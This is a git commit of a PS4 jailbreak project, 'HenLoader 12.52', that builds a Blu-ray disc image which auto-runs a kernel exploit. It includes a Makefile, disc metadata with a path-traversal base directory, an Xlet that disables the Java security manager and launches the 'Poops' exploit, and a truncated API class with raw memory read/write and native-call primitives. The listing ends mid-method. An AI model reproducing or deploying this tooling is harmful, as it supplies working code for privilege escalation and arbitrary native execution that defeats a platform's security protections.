Initial commit: HenLoader 12.52 with auto-executing Poops exploit

This commit is contained in:
2025-11-26 14:58:28 +01:00
commit d6615910db
98 changed files with 26431 additions and 0 deletions

22
.gitignore vendored Normal file
View File

@@ -0,0 +1,22 @@
# Build artifacts
build/
*.iso
*.jar
# JDK packages (too large for git)
thirdparty/*.tar.gz
# IDE files
.vscode/
.idea/
*.swp
*.swo
*~
# OS files
.DS_Store
Thumbs.db
# Temporary files
*.tmp
*.log

57
BUILD_INSTRUCTIONS.md Normal file
View File

@@ -0,0 +1,57 @@
# Building HenLoader on Debian
## Prerequisites
Install the required build tools and libraries:
```bash
sudo apt update
sudo apt install -y build-essential make pkg-config libbsd-dev
```
## JDK Packages
The Makefile expects JDK 8 and JDK 11 packages in the `thirdparty/` directory with specific filenames.
The exact versions specified in the Makefile may not be available, but compatible versions can be downloaded and renamed.
### For x86_64 (amd64):
The packages should be named:
- `OpenJDK8U-jdk_x64_linux_hotspot_8u462b08.tar.gz`
- `OpenJDK11U-jdk_x64_linux_hotspot_11.0.28_6.tar.gz`
You can download compatible versions and rename them, or use these commands:
```bash
cd thirdparty
wget -O OpenJDK8U-jdk_x64_linux_hotspot_8u462b08.tar.gz \
"https://github.com/adoptium/temurin8-binaries/releases/download/jdk8u472-b08/OpenJDK8U-jdk_x64_linux_hotspot_8u472b08.tar.gz"
wget -O OpenJDK11U-jdk_x64_linux_hotspot_11.0.28_6.tar.gz \
"https://github.com/adoptium/temurin11-binaries/releases/download/jdk-11.0.29%2B7/OpenJDK11U-jdk_x64_linux_hotspot_11.0.29_7.tar.gz"
```
### For aarch64 (ARM64):
Similar approach - download compatible versions and rename to match the Makefile's expected filenames.
## Building
Simply run:
```bash
make
```
This will:
1. Extract JDK 8 from the tarball
2. Build the makefs tool
3. Compile the Java sources
4. Sign the JAR files
5. Assemble the Blu-ray disc structure
6. Create the final ISO: `build/henloader.iso`
## Cleaning
To clean build artifacts:
```bash
make clean
```

156
Makefile Normal file
View File

@@ -0,0 +1,156 @@
# Makefile cheat sheet:
# https://www.gnu.org/software/make/manual/html_node/Automatic-Variables.html
all: build/henloader.iso
# Known-good JDK packages for Linux
# Source: https://github.com/adoptium/temurin8-binaries/releases
ARCH := $(shell uname -m)
ifeq ($(ARCH),aarch64)
JDK8_PACKAGE := thirdparty/OpenJDK8U-jdk_aarch64_linux_hotspot_8u462b08.tar.gz
JDK11_PACKAGE := thirdparty/OpenJDK11U-jdk_aarch64_linux_hotspot_11.0.28_6.tar.gz
else ifeq ($(ARCH),x86_64)
JDK8_PACKAGE := thirdparty/OpenJDK8U-jdk_x64_linux_hotspot_8u462b08.tar.gz
JDK11_PACKAGE := thirdparty/OpenJDK11U-jdk_x64_linux_hotspot_11.0.28_6.tar.gz
else
$(error Unknown ARCH "$(ARCH)")
endif
# JDK8 is required for almost every part of the process
JDK8 := build/jdk8
JAVA8 := $(JDK8)/bin/java
$(JAVA8):
mkdir -p $(JDK8)
tar -xf $(JDK8_PACKAGE) -C $(JDK8) --strip-components=1
# A Linux port of NetBSD makefs is used to create the final UDF-format ISO image
MAKEFS := build/makefs
MAKEFS_SOURCES := $(wildcard thirdparty/makefs/* thirdparty/makefs/udf/*)
$(MAKEFS): $(MAKEFS_SOURCES)
$(MAKE) -C thirdparty/makefs
mkdir -p $(dir $(MAKEFS))
mv thirdparty/makefs/makefs $(MAKEFS)
# BD-J JAR files need to be signed with BDSigner
BDTOOLS := thirdparty/bd-tools
SECCPATH := $(BDTOOLS)/security.jar:$(BDTOOLS)/bcprov-jdk15-137.jar:$(BDTOOLS)/jdktools.jar
KEYSTORE := thirdparty/bd-certificates/keystore.store
BDSIGNER := $(JAVA8) -cp $(SECCPATH) net.java.bd.tools.security.BDSigner -keystore $(KEYSTORE)
# InitXlet is the initial Xlet that the PS4 loads. It always lives on the Blu-ray disc.
CPATH := thirdparty/bd-stubs/interactive.zip:thirdparty/topsecret/rt.jar:thirdparty/topsecret/bdjstack.jar:src
JFLAGS := -Xlint:all -Xlint:-static -Xlint:-serial -Xlint:-options -source 1.3 -target 1.3
LOADER_DSTDIR := build/henloader
LOADER_BD_PERM := org/bdj/bluray.InitXlet.perm
LOADER_SOURCES += org/bdj/sandbox/DisableSecurityManagerAction.java
LOADER_SOURCES += org/bdj/external/BinLoader.java
LOADER_SOURCES += org/bdj/external/Helper.java
LOADER_SOURCES += org/bdj/external/Kernel.java
LOADER_SOURCES += org/bdj/external/KernelOffset.java
LOADER_SOURCES += org/bdj/external/Poops.java
LOADER_SOURCES += org/bdj/InitXlet.java
LOADER_SOURCES += org/bdj/MessagesOutputStream.java
LOADER_SOURCES += org/bdj/Screen.java
build/henloader.jar: $(JAVA8) $(addprefix src/,$(LOADER_SOURCES)) src/$(LOADER_BD_PERM)
mkdir -p $(LOADER_DSTDIR)
mkdir -p $(LOADER_DSTDIR)/$(dir $(LOADER_BD_PERM))
cp src/$(LOADER_BD_PERM) $(LOADER_DSTDIR)/$(LOADER_BD_PERM)
mkdir -p $(LOADER_DSTDIR)/org/homebrew/
$(JDK8)/bin/javac -d $(LOADER_DSTDIR) -sourcepath src $(JFLAGS) -cp $(CPATH) $(addprefix src/,$(LOADER_SOURCES))
$(JDK8)/bin/jar cf $@ -C $(LOADER_DSTDIR) .
$(BDSIGNER) $@
-rm META-INF/SIG-BD00.RSA
-rm META-INF/SIG-BD00.SF
-rmdir META-INF
# Assemble the Blu-ray disc
DISC := build/disc
BD_JO := $(DISC)/BDMV/BDJO/00000.bdjo
BD_JAR := $(DISC)/BDMV/JAR/00000.jar
BD_FONT := $(DISC)/BDMV/AUXDATA/00000.otf
BD_FNTIDX := $(DISC)/BDMV/AUXDATA/dvb.fontindex
BD_HEN := $(DISC)/BDMV/AUXDATA/aiofix_USBpayload.elf
BD_META := $(DISC)/BDMV/META/DL/bdmt_eng.xml
BD_BANNER := $(DISC)/BDMV/META/DL/logo.jpg
BD_INDEX := $(DISC)/BDMV/index.bdmv
BD_MVOBJ := $(DISC)/BDMV/MovieObject.bdmv
BD_ID := $(DISC)/CERTIFICATE/id.bdmv
BD_ACRT := $(DISC)/CERTIFICATE/app.discroot.crt
BD_BCRT := $(DISC)/CERTIFICATE/bu.discroot.crt
# PKG files to include at root of BD
PKG_FILES := $(wildcard apps/*.pkg)
BD_PKGS := $(patsubst apps/%,$(DISC)/%,$(PKG_FILES))
BD_ALL := $(BD_JO) $(BD_JAR) $(BD_FONT) $(BD_FNTIDX) $(BD_META) $(BD_BANNER) \
$(BD_INDEX) $(BD_MVOBJ) $(BD_ID) $(BD_ACRT) $(BD_BCRT) $(BD_HEN) $(BD_PKGS)
# Create directories
$(DISC): $(sort $(dir $(BD_ALL)))
$(sort $(dir $(BD_ALL))):
mkdir -p $(dir $(BD_ALL))
# bdjo.xml/00000.bdjo tells the Blu-ray player which Xlet subclass to load
$(BD_JO): bd-metadata/bdjo.xml $(DISC) $(JAVA8)
$(JAVA8) -jar thirdparty/bd-tools/bdjo.jar $< $@
# Signed JAR containing the HenLoader Xlet
$(BD_JAR): build/henloader.jar $(DISC)
cp $< $@
# There needs to be at least one font file on the disc, if I understand correctly
$(BD_FONT): bd-metadata/OpenSans-Regular.otf $(DISC)
cp $< $@
$(BD_FNTIDX): bd-metadata/dvb.fontindex $(DISC)
cp $< $@
$(BD_HEN): bd-metadata/aiofix_USBpayload.elf $(DISC)
cp $< $@
# Metadata about the disc, including user-visible name and banner
$(BD_META): bd-metadata/bdmt_eng.xml $(DISC)
cp $< $@
$(BD_BANNER): bd-metadata/logo.jpg $(DISC)
cp $< $@
# Blu-ray index that points the player towards MovieObject
$(BD_INDEX): bd-metadata/index.xml $(DISC) $(JAVA8)
$(JAVA8) -jar thirdparty/bd-tools/index.jar $< $@
# Blu-ray movie object that somehow tells the player to run the BD-J xlet? Extremely cursed
$(BD_MVOBJ): bd-metadata/movieobject.xml $(DISC) $(JAVA8)
$(JAVA8) -jar thirdparty/bd-tools/movieobject.jar $< $@
# Just an orgId really, needs to match bdjo and perm
$(BD_ID): bd-metadata/id.xml $(DISC) $(JAVA8)
$(JAVA8) -jar thirdparty/bd-tools/id.jar $< $@
# Certificates are taken from BDJ-SDK, need to match the keystore
$(BD_ACRT): thirdparty/bd-certificates/app.discroot.crt $(DISC)
cp $< $@
$(BD_BCRT): thirdparty/bd-certificates/bu.discroot.crt $(DISC)
cp $< $@
# Copy PKG files to root of BD
$(BD_PKGS): $(DISC)/%.pkg: apps/%.pkg $(DISC)
cp $< $@
# Generate the final ISO containing HenLoader
DISC_LABEL := NiklasCFW PS4 Jailbreak 12.52
build/henloader.iso: $(MAKEFS) $(BD_ALL)
$(MAKEFS) -m 256m -t udf -o "T=bdre,v=2.50,L=$(DISC_LABEL)" $@ $(DISC)
# Cleaning just means deleting the build directory
.PHONY: clean
clean:
rm -r build

BIN
apps/PS4_APOL00004_v2.2.0.pkg Executable file

Binary file not shown.

BIN
apps/PS4_AZIF00003_v0.98.pkg Executable file

Binary file not shown.

BIN
apps/PS4_CHTM00777_v1.2.2.pkg Executable file

Binary file not shown.

BIN
apps/PS4_ITEM00001_v1.07.pkg Executable file

Binary file not shown.

BIN
apps/PS4_LAPY20009_v2.05.pkg Executable file

Binary file not shown.

BIN
apps/Store-R2.pkg Executable file

Binary file not shown.

Binary file not shown.

Binary file not shown.

47
bd-metadata/bdjo.xml Normal file
View File

@@ -0,0 +1,47 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<bdjo>
<appCacheInfo>
<entries>
<language>*.*</language>
<name>00000</name>
<type>1</type>
</entries>
</appCacheInfo>
<applicationManagementTable>
<applications>
<applicationDescriptor>
<baseDirectory>file:///app0/bdjstack/lib/ext/../../../../disc/BDMV/JAR/00000.jar</baseDirectory>
<binding>TITLE_BOUND_DISC_BOUND</binding>
<classpathExtension></classpathExtension>
<iconFlags>0x0</iconFlags>
<iconLocator></iconLocator>
<initialClassName>org.bdj.InitXlet</initialClassName>
<priority>128</priority>
<profiles>
<majorVersion>1</majorVersion>
<microVersion>0</microVersion>
<minorVersion>0</minorVersion>
<profile>1</profile>
</profiles>
<visibility>V_01</visibility>
</applicationDescriptor>
<applicationId>0x4000</applicationId>
<controlCode>0x1</controlCode>
<organizationId>0x56789abc</organizationId>
<type>0x1</type>
</applications>
</applicationManagementTable>
<fileAccessInfo>.</fileAccessInfo>
<keyInterestTable>0xffe00000</keyInterestTable>
<tableOfAccessiblePlayLists>
<accessToAllFlag>false</accessToAllFlag>
<autostartFirstPlayListFlag>false</autostartFirstPlayListFlag>
</tableOfAccessiblePlayLists>
<terminalInfo>
<defaultFontFile>00000</defaultFontFile>
<initialHaviConfig>HD_1920_1080</initialHaviConfig>
<menuCallMask>false</menuCallMask>
<titleSearchMask>false</titleSearchMask>
</terminalInfo>
<version>V_0200</version>
</bdjo>

17
bd-metadata/bdmt_eng.xml Normal file
View File

@@ -0,0 +1,17 @@
<?xml version="1.0" encoding="UTF-8"?>
<disclib xmlns="urn:BDA:bdmv;disclib">
<di:discinfo xmlns:di="urn:BDA:bdmv;discinfo">
<di:title>
<di:name>PS4 Jailbreak 12.52</di:name>
<di:numSets>1</di:numSets>
<di:setNumber>1</di:setNumber>
</di:title>
<di:description>
<di:tableOfContents>
<di:titleName titleNumber="1">PS4 Jailbreak 12.52</di:titleName>
</di:tableOfContents>
<di:thumbnail href="logo.jpg"/>
</di:description>
<di:language>eng</di:language>
</di:discinfo>
</disclib>

11
bd-metadata/dvb.fontindex Normal file
View File

@@ -0,0 +1,11 @@
<?xml version="1.0"?>
<!DOCTYPE fontdirectory PUBLIC "-//DVB//DTD Font Directory 1.0//EN"
"http://www.dvb.org/mhp/dtd/fontdirectory-1-0.dtd">
<fontdirectory>
<font>
<name>OpenSans-Regular</name>
<fontformat>OTF</fontformat>
<filename>00000.otf</filename>
<style>PLAIN</style>
</font>
</fontdirectory>

6
bd-metadata/id.xml Normal file
View File

@@ -0,0 +1,6 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<id>
<discId>0x00000000000000000000000000000001</discId>
<orgId>0x56789abc</orgId>
<version>0200</version>
</id>

37
bd-metadata/index.xml Normal file
View File

@@ -0,0 +1,37 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<index>
<appInfo>
<frameRate>IGNORED</frameRate>
<initialOutputModePreference>Mode2D</initialOutputModePreference>
<SSContentExistFlag>false</SSContentExistFlag>
<videoFormat>IGNORED</videoFormat>
</appInfo>
<extensionData/>
<indexes>
<firstPlayback>
<firstPlaybackObject xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="HDMVIndexObject">
<HDMVName>0x0</HDMVName>
<playbackType>HDMVPlayback_MOVIE</playbackType>
</firstPlaybackObject>
</firstPlayback>
<topMenu>
<topMenuObject xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="HDMVIndexObject">
<HDMVName>0x1</HDMVName>
<playbackType>HDMVPlayback_INTERACTIVE</playbackType>
</topMenuObject>
</topMenu>
<titles>
<title>
<indexObject xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="BDJIndexObject">
<BDJOName>00000</BDJOName>
<playbackType>BDJPlayback_INTERACTIVE</playbackType>
</indexObject>
<titleAccessType>V_00</titleAccessType>
</title>
</titles>
</indexes>
<paddingN1>0</paddingN1>
<paddingN2>0</paddingN2>
<paddingN3>0</paddingN3>
<version>0100</version>
</index>

BIN
bd-metadata/logo.jpg Executable file

Binary file not shown.

After

Width:  |  Height:  |  Size: 67 KiB

1859
bd-metadata/movieobject.xml Normal file

File diff suppressed because it is too large Load Diff

34
fix_logo.sh Executable file
View File

@@ -0,0 +1,34 @@
#!/bin/bash
# Script to fix logo format for PS4 Blu-ray
# Requirements: 640x360 (16:9 aspect ratio), JPEG baseline, no progressive
if [ ! -f "bd-metadata/logo.jpg" ]; then
echo "Error: logo.jpg not found in bd-metadata/"
exit 1
fi
echo "Current logo info:"
file bd-metadata/logo.jpg
echo ""
# Check if ImageMagick is available
if command -v convert &> /dev/null; then
echo "Converting logo to proper format..."
convert bd-metadata/logo.jpg \
-resize 640x360! \
-quality 85 \
-strip \
-interlace none \
-colorspace sRGB \
bd-metadata/logo_fixed.jpg
mv bd-metadata/logo_fixed.jpg bd-metadata/logo.jpg
echo "Logo fixed! New info:"
file bd-metadata/logo.jpg
else
echo "ImageMagick not found. Please install it or manually ensure:"
echo " - Size: 640x360 pixels (16:9)"
echo " - Format: JPEG baseline (not progressive)"
echo " - Color space: sRGB"
echo " - Quality: 85-90"
fi

74
fix_logo_metadata.sh Executable file
View File

@@ -0,0 +1,74 @@
#!/bin/bash
# Script to fix logo to match old format with EXIF metadata
OLD_LOGO="/coding/logo_old.jpg"
NEW_LOGO="bd-metadata/logo.jpg"
TEMP_LOGO="bd-metadata/logo_temp.jpg"
if [ ! -f "$OLD_LOGO" ]; then
echo "Error: $OLD_LOGO not found"
exit 1
fi
if [ ! -f "$NEW_LOGO" ]; then
echo "Error: $NEW_LOGO not found"
exit 1
fi
echo "=== Fixing logo metadata ==="
echo "Old logo: $(file $OLD_LOGO)"
echo "New logo: $(file $NEW_LOGO)"
echo ""
# Check if ImageMagick is available
if command -v convert &> /dev/null; then
echo "Using ImageMagick to fix logo..."
# Extract EXIF from old logo and apply to new logo
# Resize new logo to exact 640x360, add EXIF metadata similar to old
convert "$NEW_LOGO" \
-resize 640x360! \
-quality 90 \
-strip \
-interlace none \
-colorspace sRGB \
-set density 86x94 \
-set units PixelsPerInch \
-orient top-left \
"$TEMP_LOGO"
# Copy EXIF orientation from old logo if possible
if command -v exiftool &> /dev/null; then
echo "Using exiftool to copy EXIF data..."
exiftool -overwrite_original -tagsFromFile "$OLD_LOGO" -Orientation "$TEMP_LOGO" 2>/dev/null || true
fi
mv "$TEMP_LOGO" "$NEW_LOGO"
echo ""
echo "Logo fixed! New info:"
file "$NEW_LOGO"
ls -lh "$NEW_LOGO"
elif command -v exiftool &> /dev/null; then
echo "Using exiftool to fix metadata..."
# Copy EXIF data from old to new
exiftool -overwrite_original \
-tagsFromFile "$OLD_LOGO" \
-Orientation \
-XResolution=86 \
-YResolution=94 \
-ResolutionUnit=2 \
"$NEW_LOGO"
echo "Logo fixed! New info:"
file "$NEW_LOGO"
else
echo "Error: Need ImageMagick or exiftool installed"
echo ""
echo "Install with:"
echo " sudo apt install imagemagick"
echo " # OR"
echo " sudo apt install libimage-exiftool-perl"
exit 1
fi

172
src/org/bdj/InitXlet.java Normal file
View File

@@ -0,0 +1,172 @@
package org.bdj;
import java.io.*;
import java.util.*;
import javax.tv.xlet.*;
import java.awt.BorderLayout;
import org.havi.ui.HScene;
import org.havi.ui.HSceneFactory;
import org.dvb.event.UserEvent;
import org.dvb.event.EventManager;
import org.dvb.event.UserEventListener;
import org.dvb.event.UserEventRepository;
import org.bluray.ui.event.HRcEvent;
import org.bdj.sandbox.DisableSecurityManagerAction;
import org.bdj.external.*;
public class InitXlet implements Xlet, UserEventListener
{
public static final int BUTTON_X = 10;
public static final int BUTTON_O = 19;
public static final int BUTTON_U = 38;
public static final int BUTTON_D = 40;
private static InitXlet instance;
public static class EventQueue
{
private LinkedList l;
int cnt = 0;
EventQueue()
{
l = new LinkedList();
}
public synchronized void put(Object obj)
{
l.addLast(obj);
cnt++;
}
public synchronized Object get()
{
if(cnt == 0)
return null;
Object o = l.getFirst();
l.removeFirst();
cnt--;
return o;
}
}
private EventQueue eq;
private HScene scene;
private Screen gui;
private XletContext context;
private static PrintStream console;
private static final ArrayList messages = new ArrayList();
public void initXlet(XletContext context)
{
// Privilege escalation
try {
DisableSecurityManagerAction.execute();
} catch (Exception e) {}
instance = this;
this.context = context;
this.eq = new EventQueue();
scene = HSceneFactory.getInstance().getDefaultHScene();
try
{
gui = new Screen(messages);
gui.setSize(1920, 1080); // BD screen size
gui.setVisible(true);
scene.add(gui, BorderLayout.CENTER);
scene.repaint();
UserEventRepository repo = new UserEventRepository("input");
repo.addKey(BUTTON_U);
repo.addKey(BUTTON_D);
EventManager.getInstance().addUserEventListener(this, repo);
(new Thread()
{
public void run()
{
try
{
scene.repaint();
console = new PrintStream(new MessagesOutputStream(messages, scene));
//InputStream is = getClass().getResourceAsStream("/program.data.bin");
//CRunTime.init(is);
console.println("Hen Loader LP v1.0, based on:");
console.println("- GoldHEN 2.4b18.7 by SiSTR0");
console.println("- poops code by theflow0");
console.println("- BDJ build environment by kimariin");
console.println("- java console by sleirsgoevy");
console.println("");
System.gc(); // this workaround somehow makes Call API working
if (System.getSecurityManager() != null) {
console.println("Priviledge escalation failure, unsupported firmware?");
} else {
Kernel.initializeKernelOffsets();
String fw = Helper.getCurrentFirmwareVersion();
console.println("Firmware: " + fw);
if (!KernelOffset.hasPS4Offsets())
{
console.println("Unsupported Firmware");
} else {
console.println("\nExecuting Poops exploit...");
int result = org.bdj.external.Poops.main(console);
if (result == 0)
{
console.println("Success");
} else {
console.println("Fatal fail(" + result + "), please REBOOT PS4");
}
}
}
}
catch(Throwable e)
{
scene.repaint();
}
}
}).start();
}
catch(Throwable e)
{
printStackTrace(e);
}
scene.validate();
}
public void startXlet()
{
gui.setVisible(true);
scene.setVisible(true);
gui.requestFocus();
}
public void pauseXlet()
{
gui.setVisible(false);
}
public void destroyXlet(boolean unconditional)
{
scene.remove(gui);
scene = null;
}
private void printStackTrace(Throwable e)
{
StringWriter sw = new StringWriter();
PrintWriter pw = new PrintWriter(sw);
e.printStackTrace(pw);
if (console != null)
console.print(sw.toString());
}
public void userEventReceived(UserEvent evt)
{
if(evt.getType() == HRcEvent.KEY_PRESSED)
{
if(evt.getCode() == BUTTON_U)
gui.top += 270;
else if(evt.getCode() == BUTTON_D)
gui.top -= 270;
scene.repaint();
}
}
public static void repaint()
{
instance.scene.repaint();
}
public static int pollInput()
{
Object ans = instance.eq.get();
if(ans == null)
return 0;
return ((Integer)ans).intValue();
}
}

View File

@@ -0,0 +1,33 @@
package org.bdj;
import java.io.OutputStream;
import java.util.ArrayList;
import org.havi.ui.HScene;
public class MessagesOutputStream extends OutputStream
{
ArrayList messages;
HScene scene;
String cur;
public MessagesOutputStream(ArrayList msgs, HScene sc)
{
messages = msgs;
scene = sc;
cur = "";
messages.add(cur);
}
public synchronized void write(int c)
{
if(c == 10)
{
scene.repaint();
cur = "";
messages.add(cur);
}
else if(c != 179)
{
cur += (char)c;
messages.set(messages.size()-1, cur);
}
}
}

34
src/org/bdj/Screen.java Normal file
View File

@@ -0,0 +1,34 @@
package org.bdj;
import java.awt.Color;
import java.awt.Container;
import java.awt.Font;
import java.awt.Graphics;
import java.util.ArrayList;
public class Screen extends Container
{
private static final long serialVersionUID = 4761178503523947426L;
private ArrayList messages;
private Font font;
public int top = 40;
public Screen(ArrayList messages)
{
this.messages = messages;
font = new Font(null, Font.PLAIN, 36);
setBackground(new Color(100, 110, 160));
}
public void paint(Graphics g)
{
g.setColor(new Color(100, 110, 160));
g.fillRect(0, 0, getWidth(), getHeight());
g.setFont(font);
g.setColor(new Color(255, 255, 255));
for(int i = 0; i < messages.size(); i++)
{
String message = (String)messages.get(i);
int message_width = g.getFontMetrics().stringWidth(message);
g.drawString(message, 0, top + (i*40));
}
}
}

689
src/org/bdj/api/API.java Normal file
View File

@@ -0,0 +1,689 @@
/*
* Copyright (C) 2021-2024 Andy Nguyen
*
* This software may be modified and distributed under the terms
* of the MIT license. See the LICENSE file for details.
*/
package org.bdj.api;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
/** API class to access native data and execute native code. */
public final class API {
public static final int RTLD_DEFAULT = -2;
public static final int LIBC_MODULE_HANDLE = 0x2;
public static final int LIBKERNEL_MODULE_HANDLE = 0x2001;
public static final int LIBJAVA_MODULE_HANDLE = 0x4A;
private static final String UNSUPPORTED_DLOPEN_OPERATION_STRING =
"Unsupported dlopen() operation";
private static final String JAVA_JAVA_LANG_REFLECT_ARRAY_MULTI_NEW_ARRAY_SYMBOL =
"Java_java_lang_reflect_Array_multiNewArray";
private static final String JVM_NATIVE_PATH_SYMBOL = "JVM_NativePath";
private static final String SIGSETJMP_SYMBOL = "sigsetjmp";
private static final String UX86_64_SETCONTEXT_SYMBOL = "__Ux86_64_setcontext";
private static final String ERROR_SYMBOL = "__error";
private static final String MULTI_NEW_ARRAY_METHOD_NAME = "multiNewArray";
private static final String MULTI_NEW_ARRAY_METHOD_SIGNATURE = "(J[I)J";
private static final String NATIVE_LIBRARY_CLASS_NAME = "java.lang.ClassLoader$NativeLibrary";
private static final String FIND_METHOD_NAME = "find";
private static final String FIND_ENTRY_METHOD_NAME = "findEntry";
private static final String HANDLE_FIELD_NAME = "handle";
private static final String VALUE_FIELD_NAME = "value";
private static final int[] MULTI_NEW_ARRAY_DIMENSIONS = new int[] {1};
private static final int ARRAY_BASE_OFFSET = 0x18;
private static final ThreadLocal callContexts = new ThreadLocal();
private static API instance;
private UnsafeInterface unsafe;
private Object nativeLibrary;
private Method findMethod;
private Field handleField;
private long executableHandle;
private long Java_java_lang_reflect_Array_multiNewArray;
private long JVM_NativePath;
private long sigsetjmp;
private long __Ux86_64_setcontext;
private long __error;
private boolean jdk11;
private API() throws Exception {
this.init();
}
public static synchronized API getInstance() throws Exception {
if (instance == null) {
instance = new API();
}
return instance;
}
private native long multiNewArray(long componentType, int[] dimensions);
public boolean isJdk11() {
return jdk11;
}
private void init() throws Exception {
initUnsafe();
initDlsym();
initSymbols();
initApiCall();
}
private void initUnsafe() throws Exception {
unsafe = new UnsafeSunImpl();
jdk11 = false;
}
private void initDlsym() throws Exception {
Class nativeLibraryClass = Class.forName(NATIVE_LIBRARY_CLASS_NAME);
if (jdk11) {
findMethod =
nativeLibraryClass.getDeclaredMethod(FIND_ENTRY_METHOD_NAME, new Class[] {String.class});
} else {
findMethod =
nativeLibraryClass.getDeclaredMethod(FIND_METHOD_NAME, new Class[] {String.class});
}
handleField = nativeLibraryClass.getDeclaredField(HANDLE_FIELD_NAME);
findMethod.setAccessible(true);
handleField.setAccessible(true);
Constructor nativeLibraryConstructor =
nativeLibraryClass.getDeclaredConstructor(
new Class[] {Class.class, String.class, boolean.class});
nativeLibraryConstructor.setAccessible(true);
nativeLibrary =
nativeLibraryConstructor.newInstance(new Object[] {getClass(), "api", new Boolean(true)});
}
private void initSymbols() {
JVM_NativePath = dlsym(RTLD_DEFAULT, JVM_NATIVE_PATH_SYMBOL);
if (JVM_NativePath == 0) {
throw new InternalError("JVM_NativePath not found");
}
__Ux86_64_setcontext = dlsym(LIBKERNEL_MODULE_HANDLE, UX86_64_SETCONTEXT_SYMBOL);
if (__Ux86_64_setcontext == 0) {
// In earlier versions, there's a bug where only the main executable's handle is used.
executableHandle = JVM_NativePath & -4;
while (strcmp(executableHandle, UNSUPPORTED_DLOPEN_OPERATION_STRING) != 0) {
executableHandle += 4;
}
executableHandle -= 4;
// Try again.
__Ux86_64_setcontext = dlsym(LIBKERNEL_MODULE_HANDLE, UX86_64_SETCONTEXT_SYMBOL);
}
if (__Ux86_64_setcontext == 0) {
throw new InternalError("__Ux86_64_setcontext not found");
}
if (jdk11) {
Java_java_lang_reflect_Array_multiNewArray =
dlsym(LIBJAVA_MODULE_HANDLE, JAVA_JAVA_LANG_REFLECT_ARRAY_MULTI_NEW_ARRAY_SYMBOL);
} else {
Java_java_lang_reflect_Array_multiNewArray =
dlsym(RTLD_DEFAULT, JAVA_JAVA_LANG_REFLECT_ARRAY_MULTI_NEW_ARRAY_SYMBOL);
}
if (Java_java_lang_reflect_Array_multiNewArray == 0) {
throw new InternalError("Java_java_lang_reflect_Array_multiNewArray not found");
}
sigsetjmp = dlsym(LIBKERNEL_MODULE_HANDLE, SIGSETJMP_SYMBOL);
if (sigsetjmp == 0) {
throw new InternalError("sigsetjmp not found");
}
__error = dlsym(LIBKERNEL_MODULE_HANDLE, ERROR_SYMBOL);
if (__error == 0) {
throw new InternalError("__error not found");
}
}
private void initApiCall() {
long apiInstance = addrof(this);
long apiKlass = read64(apiInstance + 0x08);
boolean installed = false;
if (jdk11) {
long methods = read64(apiKlass + 0x170);
int numMethods = read32(methods + 0x00);
for (int i = 0; i < numMethods; i++) {
long method = read64(methods + 0x08 + i * 8);
long constMethod = read64(method + 0x08);
long constants = read64(constMethod + 0x08);
short nameIndex = read16(constMethod + 0x2A);
short signatureIndex = read16(constMethod + 0x2C);
long nameSymbol = read64(constants + 0x40 + nameIndex * 8) & -2;
long signatureSymbol = read64(constants + 0x40 + signatureIndex * 8) & -2;
short nameLength = read16(nameSymbol + 0x00);
short signatureLength = read16(signatureSymbol + 0x00);
String name = readString(nameSymbol + 0x06, nameLength);
String signature = readString(signatureSymbol + 0x06, signatureLength);
if (name.equals(MULTI_NEW_ARRAY_METHOD_NAME)
&& signature.equals(MULTI_NEW_ARRAY_METHOD_SIGNATURE)) {
write64(method + 0x50, Java_java_lang_reflect_Array_multiNewArray);
installed = true;
break;
}
}
} else {
long methods = read64(apiKlass + 0xC8);
int numMethods = read32(methods + 0x10);
for (int i = 0; i < numMethods; i++) {
long method = read64(methods + 0x18 + i * 8);
long constMethod = read64(method + 0x10);
long constants = read64(method + 0x18);
short nameIndex = read16(constMethod + 0x42);
short signatureIndex = read16(constMethod + 0x44);
long nameSymbol = read64(constants + 0x40 + nameIndex * 8) & -2;
long signatureSymbol = read64(constants + 0x40 + signatureIndex * 8) & -2;
short nameLength = read16(nameSymbol + 0x08);
short signatureLength = read16(signatureSymbol + 0x08);
String name = readString(nameSymbol + 0x0A, nameLength);
String signature = readString(signatureSymbol + 0x0A, signatureLength);
if (name.equals(MULTI_NEW_ARRAY_METHOD_NAME)
&& signature.equals(MULTI_NEW_ARRAY_METHOD_SIGNATURE)) {
write64(method + 0x78, Java_java_lang_reflect_Array_multiNewArray);
installed = true;
break;
}
}
}
if (!installed) {
throw new InternalError("installing native method failed");
}
// Invoke call method many times to kick in optimization.
train();
}
private void train() {
for (int i = 0; i < 10000; i++) {
call(0);
}
}
private void buildContext(
long[] contextBuf,
long[] jmpBuf,
int offset,
long rip,
long rdi,
long rsi,
long rdx,
long rcx,
long r8,
long r9) {
long rbx = jmpBuf[(offset + 0x08) / 8];
long rsp = jmpBuf[(offset + 0x10) / 8];
long rbp = jmpBuf[(offset + 0x18) / 8];
long r12 = jmpBuf[(offset + 0x20) / 8];
long r13 = jmpBuf[(offset + 0x28) / 8];
long r14 = jmpBuf[(offset + 0x30) / 8];
long r15 = jmpBuf[(offset + 0x38) / 8];
contextBuf[(offset + 0x48) / 8] = rdi;
contextBuf[(offset + 0x50) / 8] = rsi;
contextBuf[(offset + 0x58) / 8] = rdx;
contextBuf[(offset + 0x60) / 8] = rcx;
contextBuf[(offset + 0x68) / 8] = r8;
contextBuf[(offset + 0x70) / 8] = r9;
contextBuf[(offset + 0x80) / 8] = rbx;
contextBuf[(offset + 0x88) / 8] = rbp;
contextBuf[(offset + 0xA0) / 8] = r12;
contextBuf[(offset + 0xA8) / 8] = r13;
contextBuf[(offset + 0xB0) / 8] = r14;
contextBuf[(offset + 0xB8) / 8] = r15;
contextBuf[(offset + 0xE0) / 8] = rip;
contextBuf[(offset + 0xF8) / 8] = rsp;
}
public long call(long func, long arg0, long arg1, long arg2, long arg3, long arg4, long arg5) {
long ret = 0;
// When func is 0, only do one iteration to avoid calling __Ux86_64_setcontext.
// This is used to "train" this function to kick in optimization early. Otherwise, it is
// possible that optimization kicks in between the calls to sigsetjmp and __Ux86_64_setcontext
// leading to different stack layouts of the two calls.
int iter = func == 0 ? 1 : 2;
CallContext callContext = getCallContext();
if (jdk11) {
